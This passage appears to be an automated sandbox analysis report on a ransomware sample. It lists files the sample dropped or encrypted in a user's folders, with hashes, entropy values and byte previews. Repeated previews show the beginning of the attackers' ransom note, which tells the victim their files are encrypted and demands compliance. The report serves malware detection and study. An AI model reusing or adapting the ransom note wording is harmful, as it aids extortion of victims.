                                                                                SHA-256:1A2E7A0BA4F5663C0632DC9FC5B8A86E59DFCC2934E90E3C1F90F64621C25242
                                                                                SHA-512:3FC4C6CFE5E3613E78881F02358CF0A3179A019AB74876109EDFFDFA25BC75077B1A581815FF10AA9B6DA82438CECC28E9D77623652EB4FF393571C9061AEF41
                                                                                Malicious:false
                                                                                Preview: <r.%H..0..A..2..Y.,H.. 8=..7K....E..4.Z6@SI.............u......h.=....a..0@.*w.v..e.y..e.....,/.1N..J.o...a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4.e^\..W.i:y.n.qe?.;./l..h......S..<..........{_7:
                                                                                C:\Users\user\Favorites\Wikipedia.url
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):342
                                                                                Entropy (8bit):7.355464851140876
                                                                                Encrypted:false
                                                                                SSDEEP:6:XvIp1zLE7X747tTY8jPdTXIzIrVsa3P+NbcydTTZXrQFvXNzqNCH:XgpNE7U9rTfrii+NbcztF
                                                                                MD5:1D5AF57EDBAF19F586D3A00FEAA2F9CB
                                                                                SHA1:FD7B07C94D54EAC8023AF479BFFAD326DD595B20
                                                                                SHA-256:5A5645E5AA10C36CF152D5340234FD0E5E273F57E2F2204A5F7BC6479983150F
                                                                                SHA-512:A29CDBB7310A4D8E7AF8651068D8985C0A641F732379326ACBAD06AEC23DFC7BBDBC079CE229D45EA108FCF4AF7FDF91EE1140A83AE06B4989E4C5E31C7FD4E6
                                                                                Malicious:false
                                                                                Preview: .f.qA@..z.....I.l...n.'......[..#)Q2...$3.L`..y.$-........L&.upw....V2mz...~..e.*^......B..2..&...yT.5...*.+.a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/44..N.)wd......sN.%......Oa...Ox..P.o...a......E.md
                                                                                C:\Users\user\Favorites\Youtube.url
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):340
                                                                                Entropy (8bit):7.378931727286362
                                                                                Encrypted:false
                                                                                SSDEEP:6:ZJVn0NkRgz67fCN130mpVN6HvTY8jPdTXIzIrVsa3P+NbcydTTZXrQAeKgM0:9nf9mKeHUbrTfrii+NbcND80
                                                                                MD5:1C64BE8FA07E949A090326802AFA972F
                                                                                SHA1:D1A0C2B5B27CB73F7E0DE0FACF605C5958397160
                                                                                SHA-256:0F669AC359960CCA20B234265809E8084B0A30A0322BD73C67FCA05F15F6AAC4
                                                                                SHA-512:DD1E3A46DFB63D4D2CFE5CF531F56787B96AB2108ECF7C8F46E4B85C149873F7DE484C821E2EEF4FEA7ADC5F30113D5EBA8434115DAB23F14381B9CD8203EEE9
                                                                                Malicious:false
                                                                                Preview: ..5.....7.Q*..=L[..%.p....9....s....3E..8..xsh......cU.9..j..@>v.r....s......Np.....C..Kb.rnWc.......f5c.a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4.I...~..@mqB...U.+#.g..,....N."0...o.>.*.k.K....M..
                                                                                C:\Users\user\Links\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Links\Desktop.lnk
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):722
                                                                                Entropy (8bit):7.690181917598953
                                                                                Encrypted:false
                                                                                SSDEEP:12:bAXoIuSS1yqPer9VhyVGpajiUF6zCtz1HF2WwTfROoxX2HmObrTfrii+NbcKzzS:bQIAOer9HMsz8zhFiPxkbrTfu/AOS
                                                                                MD5:F8C2ACCE94A18F08082D16F5EC9BF288
                                                                                SHA1:04A9A6211E3AFA32AB35BF90870A42E339A88125
                                                                                SHA-256:39FBBC4E81B1313D6AA7A4C5C80CF51E89640F3C2EF3B804235B9E1E3548718E
                                                                                SHA-512:ED7EEC125794861CC1CB8AA219F255FA521557562DF3DD2164F52FD4731F1F0D47E87076D783B780BB21EC5B39FBEAF6314F692B6D1412CC09C10D0CB42EB538
                                                                                Malicious:false
                                                                                Preview: 8....Nf#b%z_i.w.+]...F...+.5..l\.-.a..18...>....\..L9.......Y.3..R";.....5..q...:.B?.O.~...1w..8.......i'.......J..>s.'.....f.}B.l.-.............J..[....;....I.x.z.C.....u.....%T.M.B.'....l=A(..Z.Y.#.0F%.(5.;_...^YJ.H....q...d...0....Z..).*.I.D...37...z....`.._*T.0m...........>......]...9[.....c.j..i.M.o}........}.........D..Q...Q.m...7'......c...^.y..\..%.....G..K|....C.._.......tt(LU..~T.S;.a51....`fx..3..aZd.*...>o...:..x..{.H..W5......{.N#..p.lM.4|.......yf.16....a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4.w....C.../J......"..AW"{....h.M.......I.....^.|t
                                                                                C:\Users\user\Links\Downloads.lnk
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1167
                                                                                Entropy (8bit):7.848676067844034
                                                                                Encrypted:false
                                                                                SSDEEP:24:GXhnEY7nmaAJe2ijHumch2Q4PNpUr8kKC15mXPFVrTfu/AhxN:G9EQzFOmZPjUr8i5mdtTfu/Ah
                                                                                MD5:DB8B511D20CB52C45BDA7FDF47FABEFD
                                                                                SHA1:B75194C84DE542B5D29DACCE321F89036A4997A7
                                                                                SHA-256:23708BAF657D3CD2E1CB855256D0DDDD96D2FE195E26EF411E7CD14C22B6F3C5
                                                                                SHA-512:5101D1B5F9920A8C5D6C0245F6F9A73F631F70F0D9891EDBADE0C4188FD593D77272339B3D5DE375625F0A7F8F7F0BE14EB572FC7ACE33AC846A5B337B3A1188
                                                                                Malicious:false
                                                                                Preview: ...#-Lhu2..d1Y..M...X.>...........h'.s.E9....I.m!...'{i..Z.m.O=.1.:.e{..L\CC}2...)r...oF.....y....H.3..Ysf......m.X.."V..V.m...w...a.gb..b..g.Ala...Z.X^......{S5_8.nS..b~.i...o.SB L....w.M...-..fp..0.....p...4Uv&.q.4....k.......Q.._A...~V.p.^..1c....L....w.;. P.``..g......w...2..?......h...t.].7.P.xI.+\..q[....U......vb..Y.R._..".b`~o......!.W..HMw=.M...-o!.J7.~........5..&9j...ct.E;CLT..h....KH..c...`,S8...].'.:...ei.cb.....77L".....!...W.r.d..X4.8..8....<Iud5.x.....T..K.j{s.+..C5k.]..Z....|.'y..Q......>.......I\..4......LQ.}..5..t...{B....nB..... .NLfj.....QCF.......!..Q.o].]1...m-..{...R.-..h.a..L....[..)...V%G.D..M.'...:.K....).2..lC........G...pVF...7.......vs.`..)6.%U....0.s...Be.LJ.y..g...Q....z.i..rT._w.....Q+..Gn.g.U.....1G...E.1.B.@..o........N.......q........B...5B..g0..7UNR~.B..>....A..(..}...}.v......T.i...<....)...>.`P........EZ.v.R..Im.j.P.C.p...$......\Uw-..auqz.p.a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.
                                                                                C:\Users\user\Music\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\OneDrive\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Pictures\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Pictures\Camera Roll\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Recent\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Saved Games\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Searches\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Searches\Everywhere.search-ms
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):476
                                                                                Entropy (8bit):7.616648646721627
                                                                                Encrypted:false
                                                                                SSDEEP:12:bJc2D2LsnMJiYerZRe1mVrTfrii+NbclLui:9cy2wMJirZRO+rTfu/AlR
                                                                                MD5:A85BF38FC4C8AFD32BEE3D09A8AF6C16
                                                                                SHA1:AD4286CF9DF797DC212C5A91661F52B03985586B
